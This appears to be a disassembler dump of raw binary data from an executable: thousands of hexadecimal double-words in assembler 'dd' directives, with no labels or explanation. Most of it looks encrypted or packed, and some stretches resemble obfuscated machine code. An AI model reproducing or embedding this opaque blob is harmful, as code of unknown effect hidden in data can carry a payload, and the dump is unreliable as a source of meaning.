dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
dd 1563943Dh, 368F8832h, 9E99BBC9h, 38D3ABC2h, 9C60162Ch
dd 124A0D87h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h
dd 15A5C5ECh, 2E662272h, 12783C8Fh, 1DE48734h, 2E664432h
dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 7BBF9B9h, 90A12435h
dd 1361327Fh, 15668832h, 90D3CD52h, 9860251Eh, 1B69C7AFh
dd 1AB57734h, 156666B0h, 0A8FBAF32h, 0EA601D8Ch, 0CBE587E1h
dd 9E99BBCDh, 124AA787h, 58D39834h, 98608F11h, 183FD0AFh
dd 9EB5DD34h, 12783CB7h, 90E30134h, 7460431Eh, 1959BFBFh
dd 0C699173Ch, 1A4115BFh, 0C699423Ch, 156AA13Dh, 90E51132h
dd 1361A4B7h, 0EAB8AD37h, 88EBDDCDh, 13681E62h, 96695BCDh
dd 1566443Ah, 0FC62E0B1h, 15661100h, 0ABDB15BFh, 0C699423Eh
dd 156DA13Dh, 0A0ED1132h, 1361A4B7h, 1561C4DBh, 90EBA932h
dd 9C60161Eh, 124A0D87h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
dd 88EB77CDh, 136B1DDEh, 0D2EDF1CDh, 7BB9419h, 90EF8E35h
dd 1361650Fh, 7BBA7B9h, 45311735h, 4F0705BFh, 0C499423Fh
dd 3DCBA7B9h, 42361735h, 7BB0DB9h, 98364235h, 183CB2BFh
dd 9EB7EE34h, 3EAE03E2h, 124EE9BFh, 1CDBA134h, 1560163Fh
dd 154D0C3Dh, 90ED4432h, 13612567h, 186F9419h, 0D45D8E35h
dd 1571C23Dh, 90ED2232h, 13611AFFh, 186F0D31h, 90EF4235h
dd 13610A17h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h
dd 126144B7h, 30E38934h, 0D2604329h, 126B2BB7h, 15661134h
dd 7D26E232h, 15665432h, 0EA664863h, 126320A7h, 48F37734h
dd 9C604323h, 126DEFB7h, 30E39834h, 4C608F1Ah, 3D43F1CDh
dd 0A0992435h, 1361399Fh, 0C8D37765h, 98604320h, 183900B7h
dd 14B6EE34h, 126B81BFh, 30DBCF34h, 9E60251Ah, 124EBC87h
dd 9EC27B34h, 1277F587h, 53A18F34h, 156611CEh, 10A64932h
dd 2FA4A937h, 0CE32115h, 9E601611h, 124EADBFh, 0B86ECD34h
dd 159A64F5h, 9C661132h, 12773987h, 0EA9EC734h, 1546A73Dh
dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h
dd 9C624EB1h, 1277F587h, 0E380CB34h, 0D5A7EECDh, 0CE38B31h
dd 96604311h, 1266AF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h
dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h
dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 13610E47h, 2BE21E33h
dd 0AD668832h, 15664532h, 0E1BC9FB1h, 1A66173Fh, 156680B6h
dd 76FBC932h, 0EA602F50h, 855991E1h, 156E0C3Dh, 0D2E54432h
dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0CFDB9232h
dd 156085C6h, 156EC03Dh, 88EB2232h, 136B7301h, 52EE5BCDh
dd 30E3CF36h, 3E60251Ah, 118E92F5h, 53A12599h, 156644CEh
dd 0EA77CB32h, 0A0EFEECDh, 13619983h, 95662C60h, 150C2232h
dd 382BA4CDh, 80998E35h, 13616FD7h, 54EBA968h, 0D2601632h
dd 15668833h, 11A7C732h, 1527AFBBh, 58F1735h, 0FC9977C7h
dd 15664296h, 54EBA952h, 9E601632h, 0C3EB013Bh, 946049C6h
dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch
dd 9E661132h, 13A00BC2h, 0A9BC1B9h, 138F2435h, 9E661133h
dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh
dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h
dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 1261DD87h
dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
dd 0B195E6B5h, 1599CFF4h, 12FFD1BFh, 90ED2435h, 136115DFh
dd 906948B7h, 15664428h, 1CABA7F4h, 7D211735h, 0C1FC2FE0h
dd 18FFF1CDh, 90EB2435h, 136C610Ah, 0EA3458CDh, 1AA6C1E2h
dd 15661AB7h, 0E39A32h, 90608F3Dh, 0FE34BF2h, 0D3662232h
dd 126FDCB7h, 0FC0EC434h, 0EABF9E2Eh, 126BBB87h, 2DE39C34h
dd 0EA608242h, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
dd 0C3E3CD32h, 45602FC6h, 63E39C64h, 0EA608258h, 1AA64FE2h
dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0C3EBA952h
dd 45601CC6h, 556549B9h, 9DF6CF0Eh, 9C662232h, 126A18A7h
dd 159E8D34h, 45ED4432h, 0D0F3AB3Eh, 4D60161Bh, 3142CCB9h
dd 905D8519h, 13610BF7h, 1576933Dh, 905D8832h, 1361483Bh
dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
dd 15661516h, 10DE8832h, 98664432h, 122DB9BFh, 7587EE34h
dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h
dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh
dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch
dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E0C0C1F5h
dd 1560243Fh, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
dd 38E39A7Ch, 9E608F2Ch, 124509A7h, 96B8A934h, 4B6517F1h
dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh
dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
dd 13610EB7h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E0C0A7F5h
dd 1564173Fh, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah
dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
dd 38E3CFEBh, 9E60252Ch, 12455CA7h, 0D8DB0B34h, 14604334h
dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
dd 9B8FEECDh, 0D2668832h, 1893E2B7h, 15662034h, 1AB89A32h
dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h
dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 0B4B0DB9h, 80ED4235h
dd 1361017Fh, 13ABACB1h, 1A678E35h, 15660CB6h, 1ABE1932h
dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h
dd 1A8708B2h, 3ECC8538h
dd 118DA1EDh, 0D3E5BAA1h, 90D30130h, 0D260431Eh, 1260EFB7h
dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh
dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h
dd 0D28F40F6h, 0D299DDCBh, 1893B7B7h, 15668D34h, 96B8CF32h
dd 0B6526F1h, 0B4B94B9h, 80ED8E35h, 1361677Fh, 80DBA17Ch
dd 14601637h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h
dd 154D0E3Dh, 0A0EF4432h, 13610EB7h, 0E0C08CB9h, 49678E3Fh
dd 0CB8F4816h, 4A662232h, 10F394F5h, 15678E35h, 4C3D4432h
dd 11A2A16Ch, 0EA9EE6DBh, 0D8DB0BCDh, 14604334h, 15DDA63Dh
dd 884D1132h, 1361961Fh, 7BBC9B9h, 0DE652435h, 0FCE5DE19h
dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
dd 0E0C0C1F5h, 1564243Fh, 0CBED1132h, 95683E3Dh, 9669C4CBh
dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
dd 3E661132h, 38E303EBh, 9E60432Ch, 12456FA7h, 0EA20F834h
dd 90A177CDh, 136BB194h, 15662230h, 0A369CFB9h, 959F083Ch
dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
dd 1566DDD3h, 9EBF3A32h, 1278A5B7h, 58F3CF34h, 96602511h
dd 1260DC8Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah
dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h
dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh
dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h
dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh
dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh
dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h
dd 1361677Fh, 9069EBB7h, 15661134h, 362B3DBBh, 0EC3F4235h
dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h
dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h
dd 13E21E92h, 0ED668832h, 15664BDBh, 58D3AB32h, 98601611h
dd 183F1CAFh, 0ECB5BB34h, 53ED72F1h, 24E39822h, 4D608F38h
dd 987A82B1h, 1246078Fh, 5165BC34h, 98CDAC16h, 124D2D8Fh
dd 51658F34h, 0BE363516h, 362735BFh, 16CB4235h, 0BE4E0676h
dd 9830D26Ch, 183FE5AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A44868h, 152AA8EDh
dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
dd 60D554A8h, 59D7BA86h, 0C85ACE25h, 0DCF14387h, 18F41332h
dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0D138C882h
dd 462C5975h, 8FE5DF07h, 0C6D552A5h, 0B85E0003h, 0E9835492h
dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 505AD0FBh
dd 89113C52h, 0DDD3BC67h, 5163B977h, 0DF79F4B9h, 1331B575h
dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 5F1834F4h
dd 5E98335h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 77642017h
dd 3FD525FBh, 3AADFDF5h, 2291782Ah, 7ACFB734h, 29B723ACh
dd 7A1A20ADh, 277975FDh, 0A2CA987Ch, 0FFA073F0h, 7C22A33Ah
dd 0E983C87Dh, 8BA4F305h, 0B2BD8DDBh, 8D060DF5h, 0E10998Dh
dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h
dd 0FFFFF285h, 83C08BFFh, 71ACDBDh, 9750006h, 1135BD83h
dd 74000607h, 8B535019h, 411B8C0h, 85890000h, 6072F81h
dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
dd 411B853h, 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h
dd 0C08B585Bh, 72A4F2BBh, 8EB46h, 0FF000000h, 0E96320B4h
dd 4B1h, 0E133568h, 6B49E906h, 9F68FFF9h, 0E9060E13h, 0FFF96B3Fh
dd 0E150568h, 6B35E906h, 0ACDDFFF9h, 0B1DD8419h, 0ACDA8116h
dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h
dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395E0h, 0F92C6335h
dd 6CF9ECA0h, 3CDDA035h, 69570795h, 49A31CF8h, 85867043h
dd 642DC255h, 604EE4DCh, 47A2222Ah, 3ED704C5h, 0BD2AF69Dh
dd 1439C11h, 58C33CEh, 0EC5D4BD3h, 37439C10h, 581CC364h
dd 15BB7BC5h, 0F3E2E432h, 0D51FB6A0h, 1704AF52h, 0D3BD0551h
dd 2D6DFh, 0C03E4300h, 68FEF67Eh, 0A2F8D07Ah, 31B88B47h
dd 54C5B363h, 9F439CE8h, 76113DCCh, 64C36CFh, 0B87A02D0h
dd 4EBFAD5Dh, 0B8463782h, 1DC7115Fh, 1EF17935h, 91891134h
dd 0BF330DFBh, 7B4E4436h, 0ABA32BD4h, 0B6DB2715h, 0CFA23E2Fh
dd 0C5609039h, 0BE598930h, 15ACB8E8h, 52D302F3h, 2F6h
dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h
dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h
dd 95DF1384h, 75475E43h, 0F48A820Ah, 9A007506h, 57EDC047h
dd 55EA7BAEh, 0D0FC7BAEh, 0E0E15240h, 592C4395h, 0D77811B8h
dd 90AC6430h, 8C35B9FCh, 0DDDEC859h, 0CE441AADh, 34FA61D2h
dd 28C8405h, 5C8D0000h, 618D34C9h, 5C8A31C6h, 56852CC1h
dd 4C7F26BBh, 718924B9h, 5DF283B6h, 57EC89B6h, 4EE37EB0h
dd 4BE077A7h, 0B122107Eh, 0FC4395DFh, 820A13E5h, 2CD36E9Ch
dd 0DDC22A93h, 0E8BB3086h, 7E01B147h, 78263022h, 70B6A0D0h
dd 4799DFDFh, 9928F2Ah, 653A1BB4h, 5DF69D38h, 0A8741BBCh
dd 4395BF3Bh, 86BB8568h, 9C2FD403h, 4F70D96Ch, 0BC15FFB4h
dd 1FBD6919h, 192C3h, 0FC2C2700h, 0B3BC269h, 860ED76Ch
dd 33D46DA0h, 805AF9Dh, 0EDC047A3h, 0D70D7A46h, 2351439Ch
dd 2E5AE188h, 0CA0844C7h, 0A1636Dh, 8A5D259h, 8C88964Fh
dd 0B33503E6h, 1FB5D922h, 36B8h, 820A1C00h, 0C144F48Ah
dd 59AB962Bh, 85CBB541h, 47A25D03h, 0B74B7720h, 9C3C58C9h
dd 2FD0A343h, 0D1784B45h, 9C3C9805h, 54E2C543h, 0B6764392h
dd 0AF991Fh, 2CFD0000h, 34C269FCh, 17BE598Bh, 6093947Eh
dd 0E0901EC5h, 0A3F281F2h, 0FF9CC49h, 0A047DE0Eh, 0B94EE919h
dd 0A3EE36CDh, 1196C649h, 12A748E3h, 33C9C149h, 9C52BB45h
dd 8D23F647h, 427EEFDDh, 2EC9439Ah, 0FA46DEE2h, 0CBB55673h
dd 4EE71AC3h, 0A91A08B8h, 0F4439A31h, 45DBB821h, 5450FA4Bh
dd 89BC636Ah, 201AB830h, 20C15951h, 66C3E24Ah, 60E110FAh
dd 126h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch, 0B84DE817h
dd 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h, 535DC71h
dd 0A210DD72h, 95DD43B4h, 0A5778E43h, 0D368F92Ch, 0D469FC2Ch
dd 69FC2C62h, 6C0B3BC2h, 0C6860ED7h, 0B9E9267Fh, 8871B51Eh
dd 847208A9h, 47A274B0h, 43DE10B9h, 0F68C5F59h, 0F2871A4Dh
dd 9BE49906h, 0C253D643h, 31762485h, 83B3B49Eh, 6ACB4EE4h
dd 50C1AF3Dh, 9B439BBBh, 0C1825FC8h, 6D1B220Ch, 160091C4h
dd 3161E215h, 3FE079A8h, 8F76F79Eh, 0B0000000h, 92255700h
dd 0D7E52EBh
dd 58439BBEh, 0ACF9B85h, 0D46D9C82h, 5DF3942Dh, 40D104ADh
dd 8B1056h, 0F3C6479Ah, 295C54Ch, 0FF96C66Dh, 5ACBB969h
dd 0A54395E0h, 761DB8E4h, 60D33CDDh, 0F06E0646h, 0DBA7C0AAh
dd 20AB3E6Ah, 0E650DE71h, 0E38A1FB6h, 62F326B3h, 0DA8122BBh
dd 6B9B2453h, 0D74836CCh, 22DE673Eh, 9C07AE4Fh, 2B5BC553h
dd 2050F78Ch, 2FD06797h, 140788h, 257D0000h, 9ECB4C7Ch
dd 1EBF58FFh, 25F4DE77h, 962F5E07h, 0FB2CE0ACh, 0C3CC36Ah
dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh
dd 4C7A01A8h, 57830AB1h, 686711B8h, 7750h, 68241489h, 663Eh
dd 68241489h, 429Ah, 68242C89h, 62F7h, 0B8240489h, 6D5F646Eh
dd 9128422Dh, 3E0C103h, 9C30EF05h, 58C289B7h, 119368h
dd 24248900h, 4240481h, 5D000000h, 38ED68h, 24148900h
dd 0C3243481h, 8F025B78h, 75810845h, 5B78C308h, 242C8B02h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815A2434h
dd 4C4h, 66B1E900h, 42F3FFF9h, 0CA7D280Ah, 0C3D9078Fh
dd 0E3FB2898h, 1650B80Fh, 0C503060Eh, 7923E0FFh, 0B2704F94h
dd 51D81765h, 0A6677B52h, 4EB6AD5h, 45F2F05Dh, 574E9h
dd 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh
dd 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h
dd 0DB40B19Fh, 748B4395h, 69FC2CA2h, 0C43523D3h, 0F49A3F2h
dd 0B239523Ch, 0AA51E67Fh, 0AD34DB7Ah, 0BC43EA7Dh, 0C74EF590h
dd 0D45B0295h, 0B6670EA7h, 27F333FDh, 6C9C8A94h, 3F2DBDEBh
dd 49A3F2CEh, 4A54619h, 0D96C86Fh, 0DA243DEh, 0FAA13466h
dd 0FA95C36Ch, 0CFD0BA53h, 0C46D03A2h, 0BF58FF92h, 851BCD5h
dd 0B059093Eh, 9E0FE37Eh, 0E949A3F2h, 0F92B2C16h, 6B1BC95Eh
dd 0A3F20C7Dh, 8A235049h, 44452F02h, 0EDA8114h, 49A3F2A0h
dd 0E4D28288h, 49A3F273h, 9708F6BEh, 0E249A3F2h, 0EAD86E0Fh
dd 49A3F279h, 0AC07F1C4h, 0C0795C62h, 586319AEh, 0C7000000h
dd 0C269FC2Ch, 0A3F28BF6h, 0C0696F49h, 0B54EF590h, 20A670CBh
dd 19AEBFB5h, 127h, 2C8B00h, 0E677649Dh, 0C8697D2Dh, 0CF6E9A21h
dd 179A28h, 55E866DBh, 16454630h, 7D10D47Bh, 0BE5985B3h
dd 0A5D27B29h, 0ED1D1E08h, 9417C55Ah, 59ED3A7Dh, 4AE5131Ch
dd 2CF3BFA9h, 22D268F9h, 0A3F2C334h, 58460E49h, 49A3F1E7h
dd 0D4BE5F32h, 6D0834BBh, 65002ED7h, 223B25BEh, 0C06EB871h
dd 0DB5EF48Dh, 316883FEh, 707761BFh, 57FE99C9h, 0BA2B19C9h
dd 2449A32Ch, 9E83AAC3h, 15E87092h, 61FC2A2Bh, 6A0533BAh
dd 0D64735C3h, 2149A306h, 0F493BF4Eh, 60D1BF4Dh, 0AB49A306h
dd 0D8661FD8h, 45D3B65Ch, 0AFAA6283h, 739819h, 25FC0000h
dd 23B94C7Ch, 0A3F2C435h, 523C0F49h, 0DC831E51h, 0DE79A54Eh
dd 0B3B49E37h, 7F43EA85h, 0C1F422ECh, 0BFF19A30h, 0FAE47D24h
dd 88194CF3h, 922B5AE1h, 842353FCh, 415A44DDh, 7076C0A3h
dd 19AEBE75h, 4867h, 0B8E68F00h, 2C67331Dh, 3AC168F9h
dd 56C66D08h, 0E215BE6Eh, 3B0FA84Fh, 49A3F2CAh, 0A5174534h
dd 0B840E4D6h, 96A0FBE5h, 47DC75A8h, 65002CD5h, 0F284F2BEh
dd 136C49A3h, 386B1405h, 7B5AB39Dh, 6119AEC0h, 1, 497C25C5h
dd 5CFD98CAh, 31321CB5h, 22D26803h, 0A3F2C334h, 513B0E49h
dd 0E681B138h, 0BD8BD43Fh, 35CA6593h, 56ECE46Ch, 40E77AADh
dd 0F253C4B2h, 0CB9E49A3h, 4A38402Ah, 47A309D0h, 0EA7118EBh
dd 63FE2DBAh, 0ED8223BCh, 0CB6A963Fh, 15B0E0E1h, 0D937A26Eh
dd 538E439Ch, 7BAB54C5h, 871A4DDCh, 5C5D47E0h, 5D04992Ch
dd 65F39A2Dh, 120090BCh, 439CD9A1h, 8E7819ECh, 23CA5D8Dh
dd 0C16FB972h, 3DD80891h, 0CD08079Ch, 0FB1FB5D8h, 9BB5AB78h
dd 0B6A0316Eh, 141C2h, 820A2600h, 1B4BF48Ah, 523CD57Ch
dd 0F9AE5C4Ah, 0A67947A2h, 815D8D10h, 0A94981FDh, 9518A6BFh
dd 11516721h, 4211B919h, 0ED734579h, 3161624Ch, 2A5A0196h
dd 0B6E56E9Dh, 3AD37A1Bh, 3B6BF299h, 42E97CAEh, 4EE71AA9h
dd 9C5506ADh, 0C8F49D92h, 3ED862Dh, 9E33D202h, 0B64A369Fh
dd 43A41Fh, 0A080000h, 0BF98F83h, 49A3F2EAh, 8D1BC295h
dd 0B8EFD00Ah, 0BDA74767h, 0A3C10677h, 3AC2A49h, 0DAD470D7h
dd 0FBCDD3B4h, 2CB35Ah, 8425BE65h, 25F13F9Ah, 2614AA9Eh
dd 49A3CC05h, 0A748DDB0h, 9Eh, 8A820A1Dh, 0EE9406F4h, 0CDF47A2h
dd 5A0CD76h, 0C8B24376h, 5DF828AFh, 7C6A1AC8h, 439CEE0Bh
dd 0E38A1D4Fh, 5EFC24Ah, 9A41D404h, 9CEE16CEh, 0DE77A643h
dd 0E37EB037h, 5BE5783Ch, 1E2863DBh, 0D0650030h, 6A997F07h
dd 0EE8F28CFh, 7C85D558h, 8AF392BFh, 947E02D2h, 7FE49E8Ch
dd 0AC7F4192h, 0B74E7E05h, 0D25CA510h, 1B59DA5Dh, 257D450Dh
dd 3528E326h, 523CDD73h, 19AFA72Fh, 250A7B69h, 82553D8Eh
dd 0E8A29098h, 753B842Eh, 1C069FCCh, 0CBA4F22h, 0DFD6E5Ch
dd 75483780h, 820ABF8Bh, 4C06F48Ah, 0E74799FCh, 0E4E9844Ch
dd 0CC6D0D25h, 0C2EE9725h, 8383923h, 7A2AD86Dh, 957C1B8Ch
dd 78A56643h, 51523CDDh, 13DF8621h, 5F92048h, 943BD608h
dd 9D44DF0Dh, 0DF5FE932h, 0FC2AD313h, 3721BA61h, 0B4E452DCh
dd 5BDE8C21h, 0F3944A32h, 30311B59h, 30BE6500h, 1F219280h
dd 996CFF98h, 0E67FAEAFh, 0EF8AB83Fh, 0F994C148h, 5EE8A152h
dd 14226BDEh, 0C65BFA2Ah, 90BF6818h, 0E1B54EF5h, 0FF981F70h
dd 0FDFEE8BBh, 12933ACDh, 13h, 90405E88h, 4A1EB9E7h, 49A3F2D9h
dd 90C25124h, 2C3F0BF5h, 3CC36AFBh, 4BD2790Ch, 50D77E19h
dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch
dd 6711B857h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68241C89h
dd 6126h, 51241489h, 0C181E189h, 4, 8704E983h, 895C240Ch
dd 0BD55241Ch, 25EB3A8Bh, 43FFCD81h, 0B95156B6h, 22611126h
dd 5E1C141h, 7627C181h, 0CD0141ECh, 5DEA8959h, 566D68h
dd 24248900h, 4240481h, 5B000000h, 89D78957h, 3C8B087Bh
dd 4C48124h, 8B000000h, 8953241Ch, 4C381E3h, 83000000h
dd 1C8704C3h, 148B5C24h, 0E6895624h, 4C681h, 0C6830000h
dd 24348704h, 610DE95Ch, 7298FFF9h, 1BDDB8DEh, 0C503060Eh
dd 0B655E0FFh, 998164E7h, 0DBC739E7h, 0D0FE701Bh, 66155AA6h
dd 104804A4h, 6C7D2BECh, 3AAA48F0h, 0AB5C1BB6h, 7CB146D4h
dd 56FA159Ch, 0FE196B68h, 11F51335h, 0C73F41A3h, 6FF92A06h
dd 9E86B0Eh, 6D000000h, 0E95620E8h, 9CDF80AAh, 5FD2B70Fh
dd 81F0B70Fh, 6ADDC7h, 0EE900h, 2AE20000h, 0C118447Ch
dd 454407D4h, 0F7023F78h, 0DB80C02Bh, 70C8B72h, 5EF08B53h
dd 1E17E981h, 13E92824h, 6000000h, 7C3611CEh, 3F71ED0h
dd 76A52C50h, 4F4688D0h, 0E981272Ah, 23ECD5CBh, 14880F57h
dd 0E9000000h, 0Fh, 24283B3Dh, 5C7405F0h, 97A2655Bh, 5B2CBBDAh
dd 0B70DF181h, 9E873BCh, 35000000h, 4BD64502h, 2BFB300Dh
dd 515BF08Bh, 8FDFB70Fh, 66F80704h, 22BEDB81h, 0E904E881h
dd 8B667F6Dh, 0C081F1h, 0E87F6DE9h, 6, 849313DEh, 8A0FCBD8h
dd 2, 815EF08Bh, 0FF9618F8h, 10850FFFh, 0F8000000h, 2BE9h
dd 55057300h, 0D4173396h, 0E9DE930Dh, 10h, 3577C700h
dd 6673B013h, 826B61CCh, 0A64F239h, 0FFFF3CE9h, 943161FFh
dd 5E66A5DCh, 94A804EBh, 4FE91A45h, 64000005h, 660DA233h
dd 5F069B3Ah, 5A019631h, 56FD922Bh, 62FD9223h, 0C95C8F4Ah
dd 0C5608D34h, 0BC578930h, 0B5508027h, 0F7E55320h, 4395D586h
dd 2CE8BAD1h, 23D369FCh, 0A3F2C435h, 0A2130149h, 0ED49A3F2h
dd 0A3D1921Ah, 27C86108h, 0F232A391h, 0AA7D49A3h, 0ED20A7C0h
dd 0E818BF54h, 0DB0EB74Dh, 55C6B44Ah, 0A049A3F2h, 43CAE3CDh
dd 3FCD7413h, 753F15BCh, 22B8407Eh, 0A339C334h, 513B0E49h
dd 0E2892450h, 8CBD8B1Eh, 2D17B6E3h, 0D469FC2Ch, 0F24D7D26h
dd 763EAE5Ah, 1701A2E1h, 0BB51E416h, 5D47E612h, 0EA7DAF56h
dd 0F68FBC43h, 29BC84Fh, 11A4D45Bh, 24F2C36Ah, 7110E920h
dd 49EA3B38h, 345DE0D6h, 21D99687h, 6106B55h, 9F3A6811h
dd 0EF82B4B5h, 0A29AC5Ah, 83843CA7h, 0B1E1E2CCh, 35A36F16h
dd 1D49A330h, 61747AC4h, 6719AF82h, 53FA8BBEh, 64DCD0BAh
dd 40000000h, 8145A225h, 0B5A68D11h, 0FB9ACACBh, 0F01DC654h
dd 0BC0AEC55h, 4862C86Ah, 20AD185Eh, 389149A3h, 91EDE8EEh
dd 1EF19AFh, 53000000h, 0BE65002Ch, 0C56C0B37h, 0CF760F3Eh
dd 2A48CB0Bh, 0CE9EA2C8h, 20C15484h, 21C86391h, 0F5439E88h
dd 0EB801F4Bh, 0EB811444h, 39C2E768h, 32CB720Dh, 80984EC9h
dd 2C1D8F96h, 3AC168F9h, 41C86F0Eh, 49D07712h, 6FDA811Ch
dd 631C1826h, 8C2554FDh, 4FF947A2h, 4DF4891Ch, 32BFC21Dh
dd 40B6E047h, 37D87914h, 40DB0990h, 0E18FB99h, 6F239619h
dd 78873843h, 220CAD48h, 0AFAE1CC9h, 0D401AA19h, 0DE77AA39h
dd 0C0B49E37h, 7Eh, 0D94A38E8h, 1649A2F8h, 0A2F8B728h
dd 0A72F0249h, 2C1EEAD4h, 3AC168F9h, 6CA710Ch, 487BA573h
dd 0F259CAB8h, 0D1A449A3h, 44ED9B30h, 93947E17h, 901EC560h
dd 3620B7E7h, 0C46B0635h, 0F3F54326h, 19AEBDF2h, 5AE8h
dd 39671000h, 745EF79Eh, 7AF92CA8h, 6A11B24Bh, 6F16B1E3h
dd 781FBAE8h, 0C561A117h, 0C9BB273h, 3E9F46DFh, 85C3D143h
dd 6720D9E0h, 0AAE55DD9h, 0E67FB29Ch, 2CDF51h, 8730BE65h
